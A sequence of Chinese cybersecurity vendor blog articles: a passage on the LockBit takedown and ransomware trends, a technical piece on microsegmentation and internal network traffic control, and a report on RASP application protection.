执法机构2024年2月份宣布了“克罗诺斯行动”，这是一项由英国国家犯罪局 (NCA) 领导、计划已久的针对 LockBit 的打击行动。此次行动还涉及来自美国、加拿大、法国、德国和其他几个国家的执法组织。执法机构在三个国家查获了 28 台服务器，并控制了 LockBit 的泄密网站和该组织的管理门户。波兰和乌克兰的两名嫌疑人也被捕，但身份尚未确定。

LockBit管理员将此次取缔归咎于联邦调查局，并表示联邦调查局决定对该团伙进行黑客攻击是因为LockBit 获得了有关美国前总统唐纳德·特朗普的敏感信息，这些信息可能会影响即将到来的总统选举。LockBit 勒索软件最近袭击了佐治亚州富尔顿县，该县当局正在对特朗普和几名共同被告提出刑事指控，罪名是涉嫌试图颠覆 2020 年总统选举。

一周之后LockBit 回来了，并提供了有关漏洞的详细信息以及他们将如何运营业务以使他们的基础设施更难以被黑客攻击。攻击发生后，该团伙立即确认了此次泄露，称他们只丢失了运行 PHP 的服务器，PHP 的备份系统未受影响。

在克罗诺斯行动期间，当局收集了 1000 多个解密密钥。LockBit 声称警方从“未受保护的解密器”获得了密钥，服务器上有近 20,000 个解密器，大约是整个操作过程中生成的约 40,000 个解密器的一半。威胁行为者将“未受保护的解密器”定义为未启用“最大解密保护”功能的文件加密恶意软件的构建，通常由低级别加盟机构使用，这些加盟机构仅收取 2,000 美元的较小赎金。

同时LockBit 勒索软件开发人员正在秘密构建新版本的文件加密恶意软件，称为 LockBit-NG-Dev，很可能成为 LockBit 4.0，甚至在执法部门摧毁了该网络犯罪分子的基础设施之前。

虽然以前的 LockBit 恶意软件是用 C/C++ 构建的，但最新的示例是用 .NET 编写的，似乎是使用 CoreRT 编译的，并使用 MPRESS 打包。

新的 LockBit 加密器的发现是执法部门通过克罗诺斯行动对 LockBit 运营商造成的又一次打击。即使备份服务器仍然由该团伙控制，当安全研究人员已知加密恶意软件的源代码时，恢复网络犯罪业务也应该是一项艰巨的挑战。

未来的勒索软件的趋势

根据上述对LockBit的各方面分析，可以看出勒索软件会进入下个时代，但是下个勒索软件时代是否属于LockBit未可知，但是继续进化是一定的。以下几个方面是勒索软件进化的方向：

⦁ 采用无加密的数据泄露和竞拍的勒索方式

传统上，针对企业的勒索软件组织通常会针对正常运行时间至关重要的业务，即因加密文件或停止生产而损失一小时的费用也可能会造成高昂的代价。但一些敌对组织在没有部署有效负载的情况下，仅通过数据泄露的勒索就取得了成功。如今，窃取或加密数据以勒索受害者已成为勒索软件组织的常态。但被盗数据不仅对其所有者有价值，这些数据在竞争对手眼里也非常有价值。一台受感染的机器可以为对手提供大量公司机密和敏感文件，准备出售给最高出价者。这样的方式不仅可以减少对业务的直接伤害而且可以降低一些声誉的损害。

⦁ 使用供应链攻击方式进行勒索攻击

供应链攻击不是攻击单个受害者，而是扩大了爆炸半径。其中一个例子是 Progress 软件的 Moveit Transfer 软件产品中的漏洞，该漏洞导致 Clop 勒索软件团伙发起大规模勒索软件攻击。过去几年发生了多起此类事件，包括影响至少 1,500 名托管服务提供商客户的 Kaseya 攻击以及 SolarWinds 黑客攻击。

⦁ AI加成下的勒索软件开发和攻击方式

勒索软件组织预计将更多地利用人工智能（AI）功能——包括聊天机器人、人工智能开发的恶意软件代码、机器学习算法、自动化流程，以及更多——这将使他们能够开发出更复杂的产品高效的技术，让传统的方法变得更加困难检测和防止此类攻击的网络安全措施。人工智能也可能将开发勒索软件的门槛降低并使用更少老练的威胁攻击者。

⦁ 对网络安全保险对象的勒索

网络犯罪分子有更加关注网络组织的目标保险覆盖范围，盈利趋势可能会持续下去。攻击者知道受保受害者更有可能支付赎金，因为他们可以信赖保险来支付费用。这一目标战略旨在最大限度地提高成功支付赎金的机会。

⦁ 以云计算为重点目标勒索

随着越来越多的组织迁移到云端，端点漏洞的情况也随之发生变化。网络安全团队已经适应了云的去中心化性质，但错误配置和未修补的漏洞仍然是勒索软件组织寻求立足点的主要目标。谷歌网络安全行动团队的一项研究发现，86% 的受感染云实例用于挖掘加密货币。已经参与“加密劫持”的对手可以轻松地在受感染的系统上部署勒索软件，或者向更成熟的勒索软件组织出售访问权限。

⦁ 扩展其他的非常见平台的勒索

除了windows系统之外，勒索软件已经支持了Linux、MacOS以及ESXI等平台，不常见的平台实际上可能会给您的组织带来最大的风险，因为勒索软件组织在没有备份的情况下更关注关键业务设备的价值。攻击人员也不会仅仅坚持经过验证的攻击。佐治亚理工学院的研究人员于 2017 年进行了将勒索软件部署到程序逻辑控制器 (PLC) 的概念验证。重建或更换此类设备的成本可能高得令人望而却步，而这正是勒索软件组织寻求赔偿的目的。

勒索软件目前来看主要的针对对象是欧美相关国家，但是网络世界没有围墙，对于我国的危害也是愈演愈烈。我们要提前了解这些可能的方式和危害，后续笔者还会研究相关的防御和检测等相关技术，有助于整个行业对勒索软件的认知和防御。

-完-

阅读原文

跳转微信打开

内网拓扑可视化及管控技术

Thu, 04 Jul 2024 18:05:00 +0800

原创程度 2024-07-04 18:05 北京

青藤，让云更安全

内网安全面临严峻威胁和管理挑战

在当今数字化时代，企业面临着日益复杂和多样化的网络安全威胁。云计算和移动设备的普及增加了网络边界的复杂性和模糊性，使传统的边界防护措施疲于应对更复杂的安全攻击手段。比如边界防护难以防止内部员工或恶意攻击者通过获取合法访问权限，绕过边界防护设施，直接访问企业内部网络。

随着近几年攻防对抗演习、安全建设工作和行业安全交流的大力推行，越来越多的行业单位和机构已经认识到传统边界防护的薄弱，将安全治理工作的重心转移到内网安全领域。由于内部网络远比边界网络的情况更加复杂，安全管理员面对理解门槛和运营难度更高的内网安全问题时，难以开展工作。在实际管理工作过程中出现的挑战主要体现在以下几个方面：

欠缺对业务的深入理解而难以梳理安全建设思路

随着数字化转型的推进，传统的柜台业务已发展为完全的线上服务或线上线下双线共存的业务形态，带来大量的软件应用开发和部署，数据中心里业务系统的数量爆发性地增长，安全管理对象激增。与此同时，网络空间规划不合理的弊病在数据中心规模化的过程中一并暴露，导致安全管理问题更加复杂。而安全管理人员关于新系统的业务重要性、敏感性、复杂程度、内在通信逻辑、对外暴露面等各个方面的理解却未能一同增长，难以梳理安全管理工作的分类和优先级，安全建设的推进因而迟滞。

难以发现内网异常行为并有效处置

内网攻击具有隐蔽性和内部知识的特点，攻击者往往可以利用已存在的合法访问权限，在内部网络中进行活动，从而隐匿其攻击行为。内网攻击行为通常是低调和渐进式的，攻击者往往会在长时间内悄悄地进行活动，以避免被发现。他们可能利用合法的身份、弱密码和漏洞来持续地渗透、侦察和利用内部系统。这种渐进性的攻击行为使得难以及时发现攻击迹象，从而降低了处置的效果。另外，内网攻击行为具有高度的变化性，攻击者可以使用多种技术和工具来隐藏其攻击行为，例如横向移动、欺骗、隐蔽通信等。这使得传统的安全监控和检测系统难以有效应对。对于大型组织而言，内部网络通常庞大而复杂，更是让防护工作难以开展。

许多组织已经采用诸如HIDS之类的主机安全产品来守护内网安全，对这类渗透攻击的识别的确做出了积极贡献，但这类产品主要用于事中发现，缺少事前防护和事后处置的能力。而EDR这类带有主动防御能力的产品不能友好适配业务服务器的特性，其提供的自动处置能力对业务连续性可能造成负面影响。安全管理员缺少能有效、高效处置已知威胁的手段。

业务部署形态各异和业务迁移让管理策略难以统一且不可持续

由于业务系统的上线时期、功能作用不同，其部署的形态可能有所区别。传统的选择是将应用部署在虚拟机或物理服务器上，随着云计算、大数据的普及，大量应用系统已采用云化部署的方式。在部分行业内还不乏采用了更先进的容器化部署方案的组织，业务系统被拆分为众多细小的微服务，物理位置变得愈发分散。在大型网络中心内，混合部署环境是常态，不同业务环境的安防和运维内容不同，安全策略需要针对性地适配。而且随着业务云化、容器化的加深，安全策略需要随着业务部署形态的改变而调整，这对于安全管理员而言无疑是巨大的负担。

微隔离技术介绍

应对内网防护挑战的一个有效工具是微隔离。

自Gartner在2015年提出微隔离以来，对其核心能力的要求聚焦在东西向流量的隔离上（当然对南北向隔离也能发挥作用），一是有别于防火墙的隔离作用，二是满足云计算环境中的真实需求。微隔离顾名思义是细粒度更小的网络隔离技术，能够应对传统环境、虚拟化环境、混合云环境、容器环境下对于东西向流量隔离的需求，重点用于阻止攻击者进入企业数据中心网络内部后的横向平移。微隔离平台从以下几个方面解决内网流量管控的问题：

直观展示业务访问关系，帮助梳理安全构建工作

以多视角拓扑图展现工作负载之间、业务系统之间的访问关系，提供统计和分析数据，辅助梳理业务应用的暴露面、访问基线和管理优先级。

细粒度管控访问，提供异常访问处置能力

按业务系统、组件角色等多维度标签对工作负载进行分组管理，基于标签可配置工作负载、业务应用之间的隔离策略，填补区域内管控的空白。对偏离访问基线的异常流量进行告警和记录，可从网络侧对攻击事件进行处置，隔绝失陷工作负载的网络，切断恶意连接。

统一策略应对异构部署架构，自适应策略降低运维负担

提供可统一用于纳管对象的策略，计算引擎实现策略转换对接异构的底层环境，将管理员的工作重心从环境适配牵引到业务层面。随着环境变化自动调整策略，保证策略作用的一致性和稳定性，减少人工参与。

从系统架构的角度来看，微隔离技术可以通过三种方式实现：软件定义网络（SDN）、虚拟层防火墙、基于主机探针。

软件定义网络路线

随着SDN的引入，基础设施技术也得到了改进，使得组织能够选择在微隔离中部署和使用SDN控制器。这种选择可以通过与SDN控制器API对接的第三方安全工具实现，也可以通过直接进行SDN编程来实现。这一方法对那些在网络工程中投资于SDN，并希望从单一供应商获取SDN技术的组织尤为有吸引力。

然而，这套基于基础设施技术的实现方案更适合相对静态的私有云部署，而无法有效保护有可移动性、可扩展性的工作负载，比如基于动态混合云环境的工作负载。这种类型的微隔离可能会引入阻塞点，降低网络性能，使网络工程复杂化。

虚拟化层防火墙路线

在VMware的NSX中模拟了SDN控制器的功能，可以实现虚拟化层面的微隔离。对于大规模使用VMware的组织非常适用，能保持用户一致的使用习惯和操作流程。然而，这也局限于特定的虚拟化平台，不适合那些同时使用混合云和虚拟化技术的组织，无法跨环境提供保护。

基于主机探针路线

让控制端驻于工作负载上，直接使用主机防火墙，利用其成熟、灵活、完备的访问控制能力，最大程度发挥已有资源的效能。将安全策略与管控对象在物理层面直接绑定，保证了策略可随着工作负载的移动而迁移，对于动态环境的适配是最佳选择。而且探针可兼容适配不同类型的工作负载，轻松适配异构环境。

相较于其他技术路线，基于主机探针的技术实现相对复杂，需要解决大量探针管理、策略分发、动态调整等问题。但其带来的收益也更为可观。

Agent-based技术架构

在三种技术形态之中，基于Agent的实现方案占据主流位置，是国内外厂商的首选。其整体架构包含主机探针、计算引擎和控制台。

轻量的主机探针可一键安装在物理服务器、虚拟机、云主机和容器上，在混合的IT环境中也可直接适配，管理员无需关注底层部署架构，只用关注业务逻辑。主机探针以低资源消耗的状态持续采集网络流量数据，接收管控中心的指令并向主机防火墙写入网络策略，以及实时监控异常访问。
计算引擎负责策略计算以及可视化渲染。将标签形式定义的策略转换成IP、端口、协议的形式写入主机防火墙中；在工作负载的IP、标签发生变化后，自适应调整防火墙策略以满足相适应的流量管控要求。计算流量数据在拓扑图里的展示逻辑，以及与策略的适配性，为业务梳理提供依据。
控制台在web端呈现。以易读直观的方式呈现业务访问关系和网络策略，提供策略配置和管理能力，让管理员高效简便地管控网络访问。

相较于另外两种技术路线，Agent-based架构主要具备两个方面的优势：

（1）支持混合异构环境下工作负载的统一管控，用形式一致的网络策略进行管理，极大减轻策略运维负担；

（2）分布式网络管控能力，不存在唯一的网络堵点，流量处理效率高，对通信效果的影响可忽略不计。

网络拓扑可视化

数据中心业务流量的可视化展示对于管理员深入理解业务，为后续流量管控提供依据有重要意义。

框架设计

网络拓扑图涉及流量数据存储、数据加工、前端渲染等各环节，模块框架如下图所示：

用户界面层

用户界面层分为拓扑图可视化模块和交互模块。拓扑图可视化模块将从后端获取到的数据，利用可视化库如G6.js及前端框架如React渲染成带有节点（物理机、虚拟机、容器）以及节点之间连线（TCP/UDP访问）的拓扑图，支持视图切换、子图钻取、画布缩放等功能。交互模块负责数据展示、数据过滤、工作负载属性修改等与后端数据交互的功能。

应用层

应用层主要进行数据处理和检索，为用户界面层提供数据和API。数据处理模块负责对探针上报的数据在存储之前进行处理，包括策略匹配、聚合等，以及在策略变更时，自适应更新存量数据的策略匹配情况。数据检索模块为用户界面层的交互操作提供API和逻辑实现，如流量数据过滤、视图变换、信息展示等。

基础设施层

基础设施层通过引入数据库及缓存、消息队列等中间件，实现系统各功能模块的解耦，提供数据复用能力，同时提高系统响应效率。

重难点问题和解决思路

数据中心工作负载数量可能非常庞大，导致拓扑图需渲染大量节点和连线，给系统内部的数据存储、检索和传输，以及前端浏览器的性能都造成巨大的压力。如何有效应对大规模数据，给管理员提供流畅的使用体验，是需要重点解决的问题。

存储优化

在数据库选择方面，要考虑高性能、可扩展的数据库。比如MongoDB。MongoDB是一个功能强大、灵活且易于使用的数据库管理系统，适用于各种类型的应用程序，尤其适合需要处理大量非结构化数据和需要高可用性、可扩展性的场景，其在数据分片方面的优良特性，让检索效率更高。若使用传统的MySQL存储，则会存在查询效率低下、分库分表实现复杂等问题。

而在数据结构方面，为了减轻存储压力，应对数据进行适当的聚合，比如源IP、目的IP、目的端口、协议、进程等五元组相同的流量数据被聚合在同一条记录上并计数。同时建立合适的索引，进一步提高查询效率。

处理优化

为降低系统内部的网络访问开销，可使用分布式内存缓存，如Guava Cache + Redis。Guava Cache是一个功能丰富且易于使用的缓存库，它能够帮助开发人员简化内存缓存的管理和使用，并提供灵活的配置选项和并发支持，以提升应用程序的性能和响应速度。Redis的发布/订阅模式提供了一种简单而强大的消息通信机制，具有实时性、扩展性和解耦性的优势。二者结合保证在高可用环境下各节点内存数据一致。

渲染优化

在UI层可以通过特殊的技巧来优化性能表现。

（1）通过减少非必要图元的渲染来提升性能。拓扑图由各类图元构成，图元可以是节点、连线或标签等。在执行界面交互时，展示关键图元并隐藏其他图元，可降低性能压力。比如拖拽画布时，只显示节点图元而隐藏连线图元。

（2）通过视图的设计，将拓扑图拆分成若干子拓扑图的组合，子拓扑图内部的细节需下钻之后展示，以此减少同一界面中图元的数量。

（3）为避免数量过大导致页面卡顿不可用，可对渲染数量做边界限制，并引导使用者进行筛选以降低渲染数量。

流量信息采集

主机探针将工作负载的出入站流量上报至计算引擎，用于流量可视化和策略计算。区别于流量型分析产品，微隔离关注的是访问关系，即IP、端口、协议、进程等信息，并不解析数据包内容。当前主流的流量采集方式有如下几种。

网络连接快照

对于一个工作负载，固定时间间隔使用 Netlink 从内核获取当前NetWork NameSpace的网络连接信息，生成快照。前后两次快照的差异代表在这段时间内产生的新连接。这种方式实现简单，但缺点是数据精度不高，如果采样频率过低，采样间隔之间的流量会丢失。

PCAP抓包

PCAP (Packet Capture) 是一种网络数据包捕获技术，用于在计算机网络中捕获、分析和存储网络数据包。具有实时、灵活、安全等诸多优点，缺点是抓包粒度只能到主机端口，不能抓取进程信息。需要再根据端口关联与监听端口绑定的进程，来获取进程数据。

NFLOG

NFLOG（Netfilter Logging）是一个Linux内核功能，它允许用户空间程序捕获和处理网络数据包。NFLOG通常与Netfilter（Linux防火墙框架）一起使用，用于在数据包经过网络堆栈时将特定的数据包流量传递到用户空间程序进行进一步处理。在Netfilter的链表中写入NFLOG规则，将满足指定条件的流量记录成日志信息，再读取并向服务端上传日志数据，实现流量采集效果。其弊端同样是无法直接获取进程信息，需要通过其他途径关联。

ETW

ETW（Event Tracing for Windows）是一种在Windows操作系统中实现高性能事件日志记录和跟踪的机制。它提供了一种可靠的方式来收集和分析系统和应用程序生成的事件数据，以帮助开发人员进行故障排除、性能分析和系统监控。ETW机制基于事件提供者（Event Provider）和事件消费者（Event Consumer）的模型。事件提供者是生成事件数据的组件，可以是操作系统、应用程序、驱动程序或其他软件组件。事件消费者则是收集和处理事件数据的组件，可以是日志记录器、跟踪工具、分析工具或自定义应用程序。网络连接事件是ETW支持的众多事件类型中的一种，可用于微隔离平台的流量数据输入。

东西向流量管控

数据中心内部东西向流量隔离采用覆盖（Overlay）模式，以基于IP的基础网络技术为主，在对基础网络不做大规模修改的条件下，实现微隔离在网络上的承载，并与其他网络业务分离。

主机防火墙

基于主机探针的微隔离平台并不提供软件防火墙，而是借助主机防火墙实现网络控制效果，下面介绍两个主流系统平台的防火墙。

iptables

iptables是Linux系统上的一个强大的防火墙工具，可以通过配置iptables规则来控制网络流量的传输和访问。通过在iptables“四表五链”中设置不同规则来实现不同的访问控制效果，如放行、拦截、转发、包修改等。所谓四表指的是：raw、mangle、nat、filter，五链指的是 PREROUTING，INPUT，FORWARD，OUTPUT，POSTROUTING链。

Windows Filtering Platform（WFP）是Windows操作系统中的一个网络包过滤框架。它提供了一种在操作系统级别进行网络流量过滤和检测的机制，通过其提供的API向防火墙内核写入控制策略，实现对网络流量的细粒度管控。

流量管控技术要点

基于工作负载身份的策略形式

在云化和容器化普遍的现代数据中心里，工作负载的IP不再是一个稳定属性，以IP为直接管理媒介的传统访问控制方式采用静态策略，当工作负载扩容、缩容或漂移的时候，原有的策略不再适用新的业务环境，由人工调整运维策略负担巨大，难以持续管理。微隔离平台在IP之上增加一层Overlay，暴露给使用者的是标签、分组等代表工作负载身份的属性，基于这些属性配置的策略经计算引擎转换成防火墙可识别的IP形式策略。这样的做法带来两方面好处：

（1）由于使用自然语言描述的标签，策略含义容易理解；

（2）工作负载业务性质发生改变后，调整标签、分组即可继承控制策略，显著降低运营成本。

当然，这样一层转换设计对系统的计算能力提出了高要求，策略转换的稳定性、效率要有严格保障。

策略自动生成

为了进一步减轻对存量业务的策略构建以及后续运营的负担，系统应当具备根据所采集的流量批量、快速、自动生成策略的能力。首先，应能将访问行为一致的流量聚合在一起，对原始流量数据进行归纳压缩，如应用服务器对数据库集群各节点的多条访问流量，可聚合为应用服务器访问数据库集群这一条访问关系。然后，系统能根据聚合流量推荐合适的策略形式并最终生成策略，免去管理员手动配置策略参数的繁冗工作。

策略模拟测试

不完整的策略可能导致业务故障，因此在策略真正生效之前应当有模拟测试阶段。系统将流量与策略进行匹配比对，对偏离策略的流量进行标记，而不对其进行拦截，管理员由此调整策略以确保完美贴合业务要求。直到策略调校完善后再真正以阻断效果运行。

策略自适应

策略自适应指的是通过对工作负载IP、标签、分组等属性的持续监控，当属性发生变化时可自动计算相适应的新策略，及时调整防火墙管控行为。主要场景有：

（1）由于网络运维的需要或容器漂移现象导致工作负载IP发生变化，主机探针通过定时获取系统IP或监听IP变更事件，发现IP变化并将其上报给计算引擎，后者向相关工作负载重新下发新的策略。

（2）虚机迁移或集群扩缩容，系统根据工作负载标签的变化计算新的策略，实现策略的及时调整。

规则冲突检测及兼容适配

微隔离平台一般以接管主机防火墙的模式运行，防火墙中已存在的规则将被执行优先级更高的微隔离策略屏蔽，这样的做法将防火墙管理权限集中收回到微隔离平台，达到统一管理及防止私自篡改的目的。但这样的模式也可能导致原本用于特殊业务目的的规则失效，反而影响业务，比如对流量进行转发的特殊规则被屏蔽后导致流量无法正常转发。因此系统应能检测防火墙中已有的规则并分析是否可能和微隔离策略有冲突隐患，这一特性可能依赖识别规则库，效果取决于规则库的丰富程度。

但也不乏需要在保证原有规则发挥作用的前提下执行微隔离管控逻辑的情况，系统应额外提供防火墙兼容模式，通过调整规则的优先级或写入位置来实现规则共存。典型的场景是运行Kubernetes（k8s）的宿主机，其防火墙被k8s规则重度占用，缺少兼容模式将无法在保证容器正常通信的同时管控宿主机的网络服务。

落地实践案例

在业界已有不少微隔离实践方案，帮助企业单位清扫了业务不可视的障碍，建立起可靠的内网防护围栏。下面以某证券单位的实践过程和效果为例，深入了解内网拓扑可视化和控制技术产生的重要价值。

项目实施需求

实施对象包含生产及测试环境共近1万台主机，涉及虚拟化平台、云平台、本地数据中心，涵盖Linux和Windows主流操作系统。在部署微隔离平台之前，内网隔离手段主要依靠防火墙，实现区域间隔离，隔离粒度粗，同属一个网络区域的业务系统和工作负载之间没有做任何隔离控制。安全管理员希望实现细粒度的管控效果，对工作负载和业务系统级别的流量进行限制。

实施过程

（1）资产梳理

在评估实施方案阶段，发现资产管理混乱，不清楚工作负载所属业务系统，缺少基本的先验知识会导致后续策略配置受阻。所以优先梳理工作负载所属的业务系统，通过流量数据定位有紧密联系的工作负载，通过和运维部门、业务部门的协作明确归属关系，在微隔离平台中对工作负载按照业务部门、安全等级、业务系统等多层级进行分组。

（2）流量学习及暴露面分析

所有工作负载经过3周的流量学习，工作负载之间的访问关系绘制基本稳定。基于流量学习的结果主要完成两方面的分析：定位互联网暴露系统、定位空闲端口。从流量方向可找到与互联网直接相连的业务系统，优先对这部分系统进行管控。筛选出存在无流量端口的工作负载，核实这部分资产是否有风险敞口过大的问题，可通过策略屏蔽不应开放的端口。

（3）策略配置

基于主动学习到的IP、端口、协议等信息，协同业务部门对采集到的访问关系进行核对，判断是否符合正常的业务要求。基于工作负载的分组、标签配置访问控制策略，定义受信的访问基线。由于管理对象数量庞大，分阶段完成策略配置，第一阶段仅对存在高危攻击风险的端口进行管控，在后续阶段逐步完善所有业务端口的策略配置。

（4）测试及阻断

以告警模式运行策略，对偏离基线的访问进行告警反馈，优化调整策略以保证完整贴合业务流量。在这个阶段流量不被阻断，以防不完整的策略影响业务连续性。经过1个月的模拟测试，将策略切换至阻断状态，真正对流量进行受信管控。

（5）策略运营

建立业务变更和上下线的线下申报流程，审批通过后，在业务系统发生变更之前调整策略，再实施变更，以保证流量管控效果和业务访问要求的同步。

实施效果总结

通过在混合环境下实施细粒度的微隔离管控，结合流量可视化能力完成资产从无序到有序的梳理、对内网隔离工作划分执行优先级，配置系统级别、工作负载级别、端口级别的细粒度策略，有效阻断横向移动路径，提升纵深防御能力。

-完-

阅读原文

跳转微信打开

雷峰网 | RASP技术，「入侵者」如何成为网络安全「守护神」？

Wed, 12 Jun 2024 18:52:00 +0800

赖文昕 2024-06-12 18:52 北京

青藤，让云更安全

应用安全危机四伏

2024年的网络安全形势依旧严峻。

2月，澳大利亚电信公司 Tangerine 遭遇网络攻击，导致23万人的个人信息泄露；3月，人工智能图像编辑工具 Cutout.Pro 有约 2000 万会员用户的电子邮件地址、IP 地址及姓名等敏感信息被放在数据泄露论坛上出售；4月，网络安全公司 Sekoia 发现蠕虫病毒 PlugX 的新变种已经在全球范围感染了超过250万台主机，传播到全球170个国家；紧接着，由 Elon Musk 创立的航空航天制造商和太空运输服务公司 SpaceX 也遭遇了网络攻击，泄露了近150 GB 数据以及三千份图纸。

短短不到半年，海外就发生了多起网络攻击与数据泄露事件。无独有偶，国内的网络安全事件也频频发生。

比如，广州20万网约车司机的个人信息被公开售卖，暴露了移动出行平台在用户数据安全上的重大漏洞；山东省互联网网络安全状况整体评价虽为“良”，但木马和僵尸网络活动增加，表明网络犯罪分子正不断寻找新的攻击手段。

而根据国际数据公司（IDC）的预测，到2025年，全球将开发并部署大约7.5亿个基于云原生技术的应用程序，到2027年，全球每年新生成的数据量预计将达到惊人的291 ZB，几乎是2022年数据量的三倍。

不难发现，在 AI 浪潮轰轰烈烈的席卷下，应用程序的增长速度正呈指数级上升，数据量的增长也呈现出爆炸性的趋势，针对应用程序的攻击越来越多，攻击手段也越来越复杂。

毋庸置疑，应用安全已经成为网络安全的首要任务。而这其实是一系列的连锁反应：

企业将越来越多的业务流程和客户服务转移到线上，意味着不得不开发和部署更多的应用程序来满足这些日益增长的需求。

应用程序数量的增加，意味着它们所处理的重要数据量也在增加，这吸引了更多的攻击者不断演进其攻击手段，利用应用程序中的漏洞发起攻击，导致数据泄露事件频繁发生。

伴随而来的还有普及率持续攀升的云服务。企业愈发依赖基础设施即服务（IaaS）和其他云服务，以支持其应用程序的运行。云环境下边界的概念模糊，更多架设在边界的传统安全自然无法发挥作用。

同时，微服务架构也成为新的焦点。为了提升灵活性和可扩展性，企业纷纷转向微服务架构，使得应用程序由多个小型、独立的服务构成，而非传统的单一应用。这也增加了应用程序的复杂性，带来了新的安全挑战。

此外，开源代码和第三方库的广泛使用，虽然为开发带来了便利，但也引入了潜在的安全风险。这些组件可能包含未被发现的安全漏洞，一旦被攻击者利用，就会对整个应用程序的安全构成威胁。

企业对业务连续性和服务可用性的要求不断提高，任何应用安全事件导致的服务中断都可能给企业带来巨大的经济损失。因此，如何确保应用程序的安全，成为了企业亟待解决的难题。

具体而言，攻击者针对应用程序的攻击手段日益多样化，包括恶意软件、0day/Nday 漏洞以及 OWASP 十大漏洞。而且，基于凭证的攻击和针对 API 的攻击也变得日益频繁。在 API 安全方面，注入攻击与配置错误导致的攻击也越来越常见。

总之，随着应用程序数量和复杂性的显著增长，企业必须采取全面和前瞻性的安全措施，以确保其应用程序和 API 的安全，同时支持业务的持续增长和创新。

RASP 技术：应用安全的终极防线

那么，究竟什么措施才能有效防护应用安全呢？

目前，市场上涌现了众多安全工具，各自在应用程序的不同生命周期阶段发挥着关键作用。这些工具包括了静态应用程序安全测试（SAST）、动态应用程序安全测试（DAST）、交互式应用程序安全测试（IAST）、运行时应用程序自我保护（RASP）和 Web 应用防火墙（WAF）等等。

在软件开发的早期阶段，静态代码分析（SAST）通过深入检查源代码，帮助开发者发现并修复潜在的安全漏洞和编程错误。这种方法能够在不运行应用程序的情况下快速识别问题，从而降低后期修复的成本和复杂性。

随着应用程序进入预生产阶段，交互式应用程序安全测试（IAST）开始发挥作用，它结合了 SAST 的深度代码分析和 DAST 的行为分析，通过监控用户与应用程序的交互，提供更准确的漏洞检测。

当应用程序部署到生产环境后，动态应用程序安全测试（DAST）便成为关键的安全措施。DAST 通过模拟黑客攻击，对运行中的应用程序进行实时的安全检测，识别出可能的安全漏洞，为企业提供即时的安全反馈。

而运行时应用程序自我保护（RASP）技术则为应用程序提供了一种更为全面的保护机制。

与传统的 WAF 解决方案相比，RASP 在多个方面展现出其优势。

RASP 技术确保了高度的准确性和可靠性，通过精确监控数据流和逻辑，仅在恶意输入到达关键库函数时触发警报；它在高负载环境下稳定运行，持续检测代码安全；能向开发人员提供清晰的漏洞修复指导；适应多种网络协议，无需了解协议细节即可保护应用程序；能够自动适应应用变化，通过学习获得应用上下文，实现智能安全防护。

WAF 解决方案则因独立于应用架构，无法深入代码层面识别安全威胁，主要依赖已知威胁签名方法检测，面对未知威胁时效果有限。同时，WAF 在 API 支持上也存在局限，需要安全团队大量手动管理和调整，增加了成本并可能引入安全风险。

相比之下，RASP 技术通过插桩直接集成到应用内部，实现实时代码保护。这种深入到应用内部的监控方式，能够有效地识别和防御各种威胁，在应用运行时提供精确的事件监控和分析，不依赖可能出错的模型预测。

因为能够区分真正的攻击行为和无害的安全探测，RASP 避免了边界解决方案常见的误报和漏报问题，而且还能够对那些传统边界安全措施可能忽视的未知威胁和 0day 漏洞攻击提供保护。这种实时的安全检查和响应能力，使得RASP 成为了一种强大的安全工具。

然而，RASP 技术相对较新，成熟度和市场认知度与 WAF 相比仍有一定差距。更重要的是，由于 RASP 需要嵌入到应用程序内部，部署和维护难度更大，用户在选择时便会权衡 RASP 技术能带来多大价值，以及为了使用 RASP 技术需要付出多大的代价。

“以前 RASP 的市场需求并没有得到充分释放。它的推广需要解决价值与成本之间的平衡问题，以便用户能够看到其潜在价值并愿意接受相对较高的部署成本。”青藤云安全联合创始人兼产品副总裁胡俊告诉雷峰网。

因此，如何在 RASP 方案中消除用户的疑虑，就成为了不少安全公司正在摸索的方向。

青藤天睿•RASP：为应用植入原生安全能力

RASP，即"Runtime Application Self-Protection"（运行时应用程序自我保护），在2014年被 Gartner 公司的应用安全报告确定为该领域的一个重要发展趋势。

但由于技术发展的限制与对其入侵性的担忧，RASP 自诞生以来并未在网络安全领域得到广泛应用。青藤云安全则是少数觉察到 RASP 技术在应用安全的重要性并采取行动的布局者之一。

青藤最新的天睿•RASP应用安全防护方案具有6大核心功能。

首先，因为攻击行为无法绕过应用程序的底层调用，青藤天睿•RASP 能通过无规则的逻辑检测，有效防御 0day 攻击和其他已知攻击。

第二，对于内存马攻击，青藤天睿•RASP 能够深入应用内部，通过三层防护措施全面拦截攻击，处理好无论是企图注入还是已经注入的情形。

第三，青藤天睿•RASP 提供应用热补丁功能，能够在不重启应用的情况下，对运行中的应用程序进行补丁修复，及时响应新爆发的漏洞。

第四，它还具备弱密码检测能力，通过监控登录行为来识别弱密码，支持应用和中间件的检测，并根据企业需求设置规则。

第五，它能获取完整的应用调用链路信息，帮助定位代码，展示微服务的拓扑结构，发现服务调用风险，以及监测不同应用间的访问关系。

最后，它还能实时监控和发现组件库的调用情况，分析版本信息，提供组件库的安全治理，避免供应链攻击。

以上六大核心功能使得青藤天睿•RASP 的防护效果十分显著。由于运行在应用程序内部，监控接口调用，因此它相比边界拦截有更高的成功率。它对业务的影响很小，Agent 可以动态安装和卸载，无需业务重启，不影响其他服务进程，并且与业务代码不冲突。其 RASP 技术还适配所有 Java 版本，与其他 Java Agent 兼容性良好，不干扰系统现有功能。模块化的设计也使得各个插件独立运作，易于扩展，并具备动态开关机制，确保资源占用最小化。

“RASP 能为应用植入原生安全能力，”胡俊认为，“我们得在确保风险是可管理的同时，让大家了解 RASP 技术的价值远不止目前所展现的这些，愿意相信并尝试它。”

那么，青藤天睿•RASP 具体能应用在什么场景之中呢？

作为应用层安全的关键组件，RASP 技术与 HIDS、WAF 等安全工具相结合，构建了一个多层次、纵深的防御体系，在多种安全场景中发挥着重要作用，特别是在攻防演练、应用风险监测、恶意攻击防护和漏洞在线修复等方面。

在攻防演练中，青藤天睿•RASP 能够深入应用程序内部，提供对东西向流量和内部调用的可视化，有效拦截 0day 和内存马等攻击，解决了传统安全工具在检测容器微服务流量和加密流量方面的不足。

应用风险监测方面，青藤天睿•RASP 通过实时监控应用程序运行过程，能够准确识别应用中间件的漏洞，并发现应用弱密码等显著风险问题。它为用户绘制了一份详尽的风险画像，指导用户确认风险问题并推进修复。

